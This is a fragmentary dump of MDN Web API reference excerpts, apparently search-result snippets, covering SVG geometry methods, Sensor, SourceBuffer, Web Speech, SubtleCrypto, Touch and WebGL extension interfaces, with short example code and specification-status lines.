specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.gettotallength()' in that specification.
... candidate recommendation initial definition ...
SVGGeometryElement.getTotalLength() - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.gettotallength()' in that specification.
... candidate recommendation initial definition ...
SVGGeometryElement.isPointInFill() - Web APIs
5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,10:', circle.ispointinfill(new dompoint(10, 10))); // point in circle console.log('point at 40,30:', circle.ispointinfill(new dompoint(40, 30))); result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.ispointinfill()' in that specification.
... candidate recommendation initial definition ...
SVGGeometryElement.isPointInStroke() - Web APIs
yid('circle'); // point not in circle console.log('point at 10,10:', circle.ispointinstroke(new dompoint(10, 10))); // point in circle but not stroke console.log('point at 40,30:', circle.ispointinstroke(new dompoint(40, 30))); // point in circle stroke console.log('point at 83,17:', circle.ispointinstroke(new dompoint(83, 17))); result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.ispointinstroke()' in that specification.
... candidate recommendation initial definition ...
SVGGeometryElement.pathLength - Web APIs
syntax var pathlength = someelement.pathlength; specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.pathlength' in that specification.
... candidate recommendation initial definition ...
SVGGeometryElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement' in that specification.
... candidate recommendation initial definition ...
SVGGlyphElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgglyphelement' in that specification.
... recommendation initial definition ...
SVGGlyphRefElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgglyphrefelement' in that specification.
... recommendation initial definition ...
getBBox() - Web APIs
trectgroup = groupelement.getboundingclientrect(); rectboundingclientrect.setattribute('x', boundingclientrectgroup.x); rectboundingclientrect.setattribute('y', boundingclientrectgroup.y); rectboundingclientrect.setattribute('width', boundingclientrectgroup.width); rectboundingclientrect.setattribute('height', boundingclientrectgroup.height); specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'getbbox' in that specification.
... recommendation initial definition (applies to svg elements only).
SVGHKernElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svghkernelement' in that specification.
... recommendation initial definition ...
SVGImageElement.height - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'height' in that specification.
... candidate recommendation initial definition.
SVGImageElement.width - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'width' in that specification.
... candidate recommendation initial definition.
SVGImageElement.x - Web APIs
WebAPISVGImageElementx
specifications specification status comment scalable vector graphics (svg) 2the definition of 'x' in that specification.
... candidate recommendation initial definition.
SVGImageElement.y - Web APIs
WebAPISVGImageElementy
specifications specification status comment scalable vector graphics (svg) 2the definition of 'y' in that specification.
... candidate recommendation initial definition.
SVGMPathElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svgmpathelement' in that specification.
... recommendation initial definition ...
SVGMissingGlyphElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmissingglyphelement' in that specification.
... recommendation initial definition ...
SVGPathElement.getPointAtLength() - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpathelement.gettotallength()' in that specification.
... recommendation initial definition ...
SVGPathElement.getTotalLength() - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpathelement.gettotallength()' in that specification.
... recommendation initial definition ...
SVGPathElement.pathLength - Web APIs
syntax var pathlength = someelement.pathlength; specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpathelement.pathlength' in that specification.
... recommendation initial definition ...
SVGRenderingIntent - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgrenderingintent' in that specification.
... recommendation initial definition ...
SVGSetElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svgsetelement' in that specification.
... recommendation initial definition ...
SVGTRefElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtrefelement' in that specification.
... recommendation initial definition ...
SVGVKernElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgvkernelement' in that specification.
... recommendation initial definition ...
ScriptProcessorNode - Web APIs
if the buffer size is not defined, which is recommended, the browser will pick one that its heuristic deems appropriate.
...} } getdata(); // wire up play button playbutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'scriptprocessornode' in that specification.
SecurityPolicyViolationEvent - Web APIs
examples document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); console.log(e.violateddirective); console.log(e.originalpolicy); }); specifications specification status comment content security policy level 2the definition of 'securitypolicyviolationevent' in that specification.
... recommendation initial definition.
Selection.containsNode() - Web APIs
html <p>can you find the secret word?</p> <p>hmm, where <span id="secret" style="color:transparent">secret</span> could it be?</p> <p id="win" hidden>you found it!</p> javascript const secret = document.getelementbyid('secret'); const win = document.getelementbyid('win'); // listen for selection changes document.addeventlistener('selectionchange', () => { const selection = window.getselection(); const found = selection.containsnode(secre...
...t); win.toggleattribute('hidden', !found); }); result specifications specification status comment selection apithe definition of 'selection.containsnode()' in that specification.
Selection.removeRange() - Web APIs
return value undefined examples /* programmaticaly, more than one range can be selected.
...*/ s = window.getselection(); if(s.rangecount > 1) { for(var i = 1; i < s.rangecount; i++) { s.removerange(s.getrangeat(i)); } } specifications specification status comment selection apithe definition of 'selection.removerange()' in that specification.
Selection.setBaseAndExtent() - Web APIs
note: if the focus position appears before the anchor position in the document, the direction of the selection is reversed — the caret is placed at the beginning of the text rather the end, which matters for any keyboard command that might follow.
... note: you can find this example on github (see it live also.) specifications specification status comment selection apithe definition of 'selection.setbaseandextent()' in that specification.
Sensor.activated - Web APIs
WebAPISensoractivated
specifications specification status comment generic sensor apithe definition of 'activated' in that specification.
... candidate recommendation initial definition.
Sensor.hasReading - Web APIs
WebAPISensorhasReading
specifications specification status comment generic sensor apithe definition of 'hasreading' in that specification.
... candidate recommendation initial definition.
Sensor.onactivate - Web APIs
WebAPISensoronactivate
specifications specification status comment generic sensor apithe definition of 'onactivate' in that specification.
... candidate recommendation initial definition.
Sensor.onerror - Web APIs
WebAPISensoronerror
specifications specification status comment generic sensor apithe definition of 'onerror' in that specification.
... candidate recommendation initial definition.
Sensor.onreading - Web APIs
WebAPISensoronreading
specifications specification status comment generic sensor apithe definition of 'onreading' in that specification.
... candidate recommendation initial definition.
Sensor.start() - Web APIs
WebAPISensorstart
return value undefined specifications specification status comment generic sensor apithe definition of 'start' in that specification.
... candidate recommendation initial definition.
Sensor.stop() - Web APIs
WebAPISensorstop
return value undefined example // tbd specifications specification status comment generic sensor apithe definition of 'stop' in that specification.
... candidate recommendation initial definition.
Sensor.timestamp - Web APIs
WebAPISensortimestamp
specifications specification status comment generic sensor apithe definition of 'timestamp' in that specification.
... candidate recommendation initial definition.
Sensor - Web APIs
WebAPISensor
specifications specification status comment generic sensor apithe definition of 'sensor' in that specification.
... candidate recommendation initial definition.
SensorErrorEvent.SensorErrorEvent() - Web APIs
specifications specification status comment generic sensor apithe definition of 'sensorerrorevent' in that specification.
... candidate recommendation initial definition.
SensorErrorEvent.error - Web APIs
specifications specification status comment generic sensor apithe definition of 'error' in that specification.
... candidate recommendation initial definition.
SensorErrorEvent - Web APIs
specifications specification status comment generic sensor apithe definition of 'sensorerrorevent' in that specification.
... candidate recommendation initial definition.
ServiceWorker.onstatechange - Web APIs
this is because the statechange // event gets queued, meanwhile the underlying worker may have gone into the waiting // state and will be immediately activated if possible.
... } }) specifications specification status comment service workersthe definition of 'serviceworker.onstatechange' in that specification.
ServiceWorkerGlobalScope - Web APIs
the attempt to sync is made either immediately if the network is available or as soon as the network becomes available.
...about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }, function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'serviceworkerglobalscope' in that specification.
ServiceWorkerRegistration.unregister() - Web APIs
example the following simple example registers a service worker example, but then immediately unregisters it again: if ('serviceworker' in navigator) { navigator.serviceworker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) { // registration worked console.log('registration succeeded.'); registration.unregister().then(function(boolean) { // if boolean = true, unregister is successful }); }).catch(function(error) { // regist...
...ration failed console.log('registration failed with ' + error); }); }; specifications specification status comment service workersthe definition of 'serviceworkerregistration.unregister()' in that specification.
SharedWorker.port - Web APIs
WebAPISharedWorkerport
the port property of the sharedworker interface returns a messageport object used to communicate and control the shared worker.
...multiple scripts can then access the worker through a messageport object accessed using the sharedworker.port property — the port is started using its start() method: var myworker = new sharedworker('worker.js'); myworker.port.start(); for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification.
SharedWorker - Web APIs
sharedworker.port read only returns a messageport object used to communicate with and control the shared worker.
...} specifications specification status comment html living standardthe definition of 'sharedworker' in that specification.
SharedWorkerGlobalScope - Web APIs
you can specify as many as you'd like, separated by commas.
... specifications specification status comment html living standardthe definition of 'sharedworkerglobalscope' in that specification.
SourceBuffer.appendBuffer() - Web APIs
specifications specification status comment media source extensionsthe definition of 'appendbuffer()' in that specification.
... recommendation initial definition.
SourceBuffer.appendBufferAsync() - Web APIs
this is being experimented with under the auspices of the web platform incubator community group (wicg).
... specification status comment media source extensions recommendation initial definition; does not include this method.
SourceBuffer.appendWindowEnd - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'appendwindowend' in that specification.
... recommendation initial definition.
SourceBuffer.appendWindowStart - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'appendwindowstart' in that specification.
... recommendation initial definition.
SourceBuffer.audioTracks - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'audiotracks' in that specification.
... recommendation initial definition.
SourceBuffer.buffered - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'buffered' in that specification.
... recommendation initial definition.
SourceBuffer.mode - Web APIs
WebAPISourceBuffermode
var curmode = sourcebuffer.mode; if (curmode == 'segments') { sourcebuffer.mode = 'sequence'; } specifications specification status comment media source extensionsthe definition of 'mode' in that specification.
... recommendation initial definition.
SourceBuffer.remove() - Web APIs
specifications specification status comment media source extensionsthe definition of 'remove()' in that specification.
... recommendation initial definition.
SourceBuffer.textTracks - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'texttracks' in that specification.
... recommendation initial definition.
SourceBuffer.timestampOffset - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'timestampoffset' in that specification.
... recommendation initial definition.
SourceBuffer.updating - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'updating' in that specification.
... recommendation initial definition.
SourceBuffer.videoTracks - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'videotracks' in that specification.
... recommendation initial definition.
SourceBuffer - Web APIs
m(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); } function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); } specifications specification status comment media source extensionsthe definition of 'sourcebuffer' in that specification.
... recommendation initial definition.
SourceBufferList: indexed property getter - Web APIs
specifications specification status comment media source extensionsthe definition of 'sourcebuffer() getter' in that specification.
... recommendation initial definition.
SourceBufferList.length - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'length' in that specification.
... recommendation initial definition.
SourceBufferList - Web APIs
specifications specification status comment media source extensionsthe definition of 'sourcebufferlist' in that specification.
... recommendation initial definition.
SpeechRecognition.abort() - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechg...
...rammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'abort()' in that specification.
SpeechRecognition.onnomatch - Web APIs
note: the onnomatch handler does not yet work properly in firefox — the speech recognition system always returns a positive match, and then guesses at what item in the grammar it found.
...}; examples var recognition = new speechrecognition(); recognition.onnomatch = function() { console.log('speech not recognised'); } specifications specification status comment web speech apithe definition of 'onnomatch' in that specification.
SpeechRecognition.onresult - Web APIs
the onresult property of the speechrecognition interface represents an event handler that will run when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app (when the result event fires.) syntax myspeechrecognition.onresult = function() { ...
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'onresult' in that specification.
SpeechRecognition.onstart - Web APIs
the onstart property of the speechrecognition interface represents an event handler that will run when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition (when the start event fires.) syntax myspeechrecognition.onstart = function() { ...
... }; examples recognition.onstart = function() { console.log('speech recognition service has started'); } specifications specification status comment web speech apithe definition of 'onstart' in that specification.
SpeechRecognition: result event - Web APIs
the result event of the web speech api is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app bubbles no cancelable no interface speechrecognitionevent event handler property onresult examples this code is excerpted from our speech color changer example.
...nscript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; }); or use the onresult event handler property: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: start event - Web APIs
the start event of the web speech api speechrecognition object is fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition.
...istener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('start', function() { console.log('speech recognition service has started'); }); or use the onstart event handler property: recognition.onstart = function() { console.log('speech recognition service has started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.stop() - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecogn...
...itionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'stop()' in that specification.
SpeechRecognitionError.error - Web APIs
network network communication required for completing the recognition failed.
... bad-grammar there was an error in the speech recognition grammar or semantic tags, or the chosen grammar format or semantic tag format was unsupported.
SpeechRecognitionEvent - Web APIs
speechrecognitionevent.emma read only returns an extensible multimodal annotation markup language (emma) — xml — representation of the result.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionevent' in that specification.
SpeechSynthesis.cancel() - Web APIs
if an utterance is currently being spoken, speaking will stop immediately.
...this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.cancel(); // utterance1 stops being spoken immediately, and both are removed from the queue specifications specification status comment web speech apithe definition of 'cancel()' in that specification.
SpeechSynthesis - Web APIs
the speechsynthesis interface of the web speech api is the controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides.
...rance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesis' in that specification.
SpeechSynthesisErrorEvent.error - Web APIs
output device (for example, the user may need to correct this by closing another application.) audio-hardware the operation couldn't be completed at this time because the user-agent couldn't identify an audio output device (for example, the user may need to connect a speaker or configure system settings.) network the operation couldn't be completed at this time because some required network communication failed.
...tions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.error('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'error' in that specification.
Storage API - Web APIs
the storage standard defines a common, shared storage system to be used by all apis and technologies that store content-accessible data for individual web sites.
...for example: navigator.storage.estimate().then(estimate => { // estimate.quota is the estimated quota // estimate.usage is the estimated number of bytes used }); specifications specification status comment storage living standard initial definition.
SubtleCrypto.decrypt() - Web APIs
function decryptmessage(key, ciphertext) { return window.crypto.subtle.decrypt( { name: "aes-gcm", iv: iv }, key, ciphertext ); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.decrypt()' in that specification.
... recommendation initial definition.
SubtleCrypto.deriveBits() - Web APIs
e.addeventlistener("animationend", () => { derivedbitsvalue.classlist.remove("fade-in"); }); derivedbitsvalue.textcontent = `${buffer}...[${derivedbits.bytelength} bytes total]`; } const derivebitsbutton = document.queryselector(".pbkdf2 .derive-bits-button"); derivebitsbutton.addeventlistener("click", () => { getderivedbits(); }); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.derivebits()' in that specification.
... recommendation initial definition.
SubtleCrypto.digest() - Web APIs
// hash the message const hasharray = array.from(new uint8array(hashbuffer)); // convert buffer to byte array const hashhex = hasharray.map(b => b.tostring(16).padstart(2, '0')).join(''); // convert bytes to hex string return hashhex; } const digesthex = await digestmessage(text); console.log(digesthex); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.digest()' in that specification.
... recommendation initial definition.
SubtleCrypto.exportKey() - Web APIs
*/ window.crypto.subtle.generatekey( { name: "ecdsa", namedcurve: "p-384" }, true, ["sign", "verify"] ).then((keypair) => { const exportbutton = document.queryselector(".jwk"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.privatekey); }); }); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.exportkey()' in that specification.
... recommendation initial definition.
SubtleCrypto.sign() - Web APIs
WebAPISubtleCryptosign
*/ function getmessageencoding() { const messagebox = document.queryselector(".hmac #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( "hmac", key, encoded ); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.sign()' in that specification.
... recommendation initial definition.
SubtleCrypto.wrapKey() - Web APIs
"aes-gcm", iv: iv } ); } /* generate a sign/verify key pair, then wrap the private key */ window.crypto.subtle.generatekey( { name: "ecdsa", namedcurve: "p-384" }, true, ["sign", "verify"] ) .then((keypair) => { return wrapcryptokey(keypair.privatekey); }) .then((wrappedkey) => { console.log(wrappedkey); }); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.wrapkey()' in that specification.
... recommendation initial definition.
Text.splitText() - Web APIs
WebAPITextsplitText
syntax newnode = textnode.splittext(offset) parameters offset the index immediately before which to break the text node.
...odes, 'foo' and 'bar', // and save 'bar' as a const const bar = foobar.splittext(3); // create a <u> element containing ' new content ' const u = document.createelement('u'); u.appendchild(document.createtextnode(' new content ')); // add <u> before 'bar' p.insertbefore(u, bar); // the result is: <p>foo<u> new content </u>bar</p> result specifications specification status comment domthe definition of 'text.splittext' in that specification.
TextDecoder.prototype.encoding - Web APIs
it can be one of the following values: the recommended encoding for the web: 'utf-8'.
... syntax var b = decoder.decoding; specifications specification status comment encodingthe definition of 'textdecoder.encoding' in that specification.
TextTrackCue - Web APIs
specifications specification status comment html living standardthe definition of 'texttrackcue' in that specification.
... recommendation initial definition ...
Touch.clientX - Web APIs
WebAPITouchclientX
}, false); specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
Touch.clientY - Web APIs
WebAPITouchclientY
}, false); specifications specification status comment touch events – level 2 draft no changes since last version.
... touch events recommendation initial definition.
Touch.identifier - Web APIs
WebAPITouchidentifier
for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouches[" + i + "].identifier = " + e.changedtouches[i].identifier); } }, false); specifications specification status comment touch events – level 2 draft no change.
... touch events recommendation initial definition.
Touch.pageX - Web APIs
WebAPITouchpageX
var i; for (i=0; i < e.changedtouches.length; i++) { console.log("touchpoint[" + i + "].pagex = " + e.changedtouches[i].pagex); console.log("touchpoint[" + i + "].pagey = " + e.changedtouches[i].pagey); } }, false); specifications specification status comment touch events – level 2 draft no change from the previous version.
... touch events recommendation initial definition.
Touch.pageY - Web APIs
WebAPITouchpageY
var i; for (i=0; i < e.changedtouches.length; i++) { console.log("touchpoint[" + i + "].pagex = " + e.changedtouches[i].pagex); console.log("touchpoint[" + i + "].pagey = " + e.changedtouches[i].pagey); } }, false); specifications specification status comment touch events – level 2 draft no change from last version.
... touch events recommendation initial definition.
TouchEvent.changedTouches - Web APIs
for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouches[" + i + "].identifier = " + e.changedtouches[i].identifier); } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
TouchEvent.targetTouches - Web APIs
true : false); } specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
TouchEvent.touches - Web APIs
switch (e.touches.length) { case 1: handle_one_touch(e); break; case 2: handle_two_touches(e); break; case 3: handle_three_touches(e); break; default: console.log("not supported"); break; } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
TouchEvent - Web APIs
specifications specification status comment touch events – level 2the definition of 'touchevent' in that specification.
... recommendation initial definition.
TouchList.item() - Web APIs
WebAPITouchListitem
tart', function(ev) { // if this touchstart event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
TouchList.length - Web APIs
WebAPITouchListlength
start', function(ev) { // if this touchstart event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
TouchList - Web APIs
WebAPITouchList
specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
Using Touch Events - Web APIs
the target touch element or node should be large enough to accommodate a finger touch.
...lauke) community touch events community group mail list w3c #touchevents irc channel related topics and resources pointer events standard ...
TrackEvent() - Web APIs
specifications specification status comment html living standardthe definition of 'trackevent()' in that specification.
... recommendation initial definition.
TrackEvent.track - Web APIs
WebAPITrackEventtrack
specifications specification status comment html living standardthe definition of 'trackevent.track' in that specification.
... recommendation initial definition.
TrackEvent - Web APIs
specifications specification status comment html living standardthe definition of 'trackevent' in that specification.
... recommendation initial definition.
Transferable - Web APIs
specifications specification status comment html living standardthe definition of 'transferable' in that specification.
... recommendation initial definition.
TreeWalker.whatToShow - Web APIs
nodefilter.show_comment 128 shows comment nodes.
... syntax nodetypes = treewalker.whattoshow; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element + nodefilter.show_comment + nodefilter.show_text, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); if( (treewalker.whattoshow == nodefilter.show_all) || (treewalker.whattoshow % (nodefilter.show_comment*2)) >= nodefilter.show_comment) { // treewalker will show comments } specifications specification status comment domthe definition of 'treewalker.w...
TreeWalker - Web APIs
nodefilter.show_comment 128 shows comment nodes.
... specifications specification status comment domthe definition of 'treewalker' in that specification.
ULongRange - Web APIs
specifications specification status comment media capture and streamsthe definition of 'ulongrange' in that specification.
... candidate recommendation initial definition ...
URL.createObjectURL() - Web APIs
specifications specification status comment file apithe definition of 'createobjecturl()' in that specification.
... recommendation mediasource extension.
USBInterface - Web APIs
an interface represents a feature of the device which implements a particular protocol and may contain endpoints for bidirectional communication.
... specifications specification status comment webusbthe definition of 'usbinterface' in that specification.
USVString - Web APIs
WebAPIUSVString
specifications specification status comment web idlthe definition of 'usvstring' in that specification.
... candidate recommendation initial definition.
VTTCue() - Web APIs
WebAPIVTTCueVTTCue
var cue = new vttcue(2, 3, 'cool text to be displayed'); specifications specification status comment webvtt: the web video text tracks formatthe definition of 'vttcue()' in that specification.
... candidate recommendation ...
VideoTrack.label - Web APIs
WebAPIVideoTracklabel
function gettracklist(el) { var tracklist = []; const wantedkinds = [ "main", "alternative", "commentary" ]; el.videotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of video tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kin...
... specifications specification status comment html living standardthe definition of 'videotrack: label' in that specification.
VideoTrack.sourceBuffer - Web APIs
specifications specification status comment media source extensionsthe definition of 'videotrack: sourcebuffer' in that specification.
... recommendation ...
VideoTrack - Web APIs
the most common use for accessing a videotrack object is to toggle its selected property in order to make it the active video track for its <video> element.
... specifications specification status comment html living standardthe definition of 'videotrack' in that specification.
WEBGL_color_buffer_float - Web APIs
examples var ext = gl.getextension('webgl_color_buffer_float'); gl.renderbufferstorage(gl.renderbuffer, ext.rbga32f_ext, 256, 256); specifications specification status comment webgl_color_buffer_floatthe definition of 'webgl_color_buffer_float' in that specification.
... recommendation initial definition.
WEBGL_compressed_texture_astc.getSupportedProfiles() - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_astc'); ext.getsupportedprofiles(); // ["ldr"] specifications specification status comment webgl_compressed_texture_astcthe definition of 'webgl_compressed_texture_astc' in that specification.
... recommendation initial definition.
WEBGL_compressed_texture_astc - Web APIs
12x12 0.89 floor((width + 11) / 12) * floor((height + 11) / 12) * 16 29584 examples var ext = gl.getextension('webgl_compressed_texture_astc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_astc_12x12_khr, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_astcthe definition of 'webgl_compressed_texture_astc' in that specification.
... recommendation initial definition.
WEBGL_compressed_texture_atc - Web APIs
availability: atc compression is typically available on mobile devices with adreno gpus, that are currently only built into qualcomm snapdragon devices.
... examples var ext = gl.getextension('webgl_compressed_texture_atc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_atc_webgl, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_atcthe definition of 'webgl_compressed_texture_atc' in that specification.
WEBGL_compressed_texture_s3tc - Web APIs
_compressed_texture_s3tc') ); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_s3tc_dxt5_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl_compressed_texture_s3tcthe definition of 'webgl_compressed_texture_s3tc' in that specification.
... recommendation initial definition.
WEBGL_compressed_texture_s3tc_srgb - Web APIs
mpressed_texture_s3tc_srgb'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_srgb_s3tc_dxt1_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl_compressed_texture_s3tc_srgbthe definition of 'webgl_compressed_texture_s3tc_srgb' in that specification.
... recommendation initial definition.
WEBGL_debug_renderer_info - Web APIs
r's graphic driver: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var debuginfo = gl.getextension('webgl_debug_renderer_info'); var vendor = gl.getparameter(debuginfo.unmasked_vendor_webgl); var renderer = gl.getparameter(debuginfo.unmasked_renderer_webgl); console.log(vendor); console.log(renderer); specifications specification status comment webgl_debug_renderer_infothe definition of 'webgl_debug_renderer_info' in that specification.
... recommendation initial definition.
